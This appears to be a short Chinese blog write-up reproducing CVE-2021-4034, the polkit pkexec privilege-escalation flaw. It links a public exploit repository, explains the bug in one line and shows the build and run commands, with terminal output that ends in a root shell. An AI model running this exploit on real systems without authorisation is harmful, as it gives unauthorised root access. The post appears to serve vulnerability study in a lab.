CVE-2021-4034 polkit提权漏洞复现

CVE-2021-4034 polkit提权漏洞复现

1.前期准备

Github地址:

bash 复制代码
https://github.com/berdav/CVE-2021-4034

polkit是一个授权管理器,其系统架构由授权和身份验证代理组成,pkexec是其中polkit的其中一个工具,他的作用有点类似于sudo,允许用户以另一个用户身份执行命令

漏洞点逻辑:执行pkexec时,指定了恶意的envp[0],那么可以写入一个环境变量到目标进程空间中


2.复现

查看是否存在pkexec:

依次运行:

bash 复制代码
make
./cve-2021-4034
bash 复制代码
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

提权成功!

相关推荐
带土19 分钟前
10. .out文件
linux
Traced back11 分钟前
WinForms 线程安全三剑客详解
安全·c#·winform
汉堡包00120 分钟前
【网安基础】--内网代理转发基本流程(正向与反向代理)
安全·web安全·php
STCNXPARM27 分钟前
Linux camera之V4L2子系统详解
android·linux·camera·v4l2架构
yueyuexiaokeai11 小时前
linux kernel常用函数整理
linux·c语言
桌面运维家2 小时前
vDisk VOI/IDV权限管理怎么做?安全方案详解
安全
郝亚军3 小时前
ubuntu-18.04.6-desktop-amd64安装步骤
linux·运维·ubuntu
世界尽头与你3 小时前
(修复方案)kibana 未授权访问漏洞
安全·网络安全·渗透测试
Konwledging3 小时前
kernel-devel_kernel-headers_libmodules
linux
Web极客码3 小时前
CentOS 7.x如何快速升级到CentOS 7.9
linux·运维·centos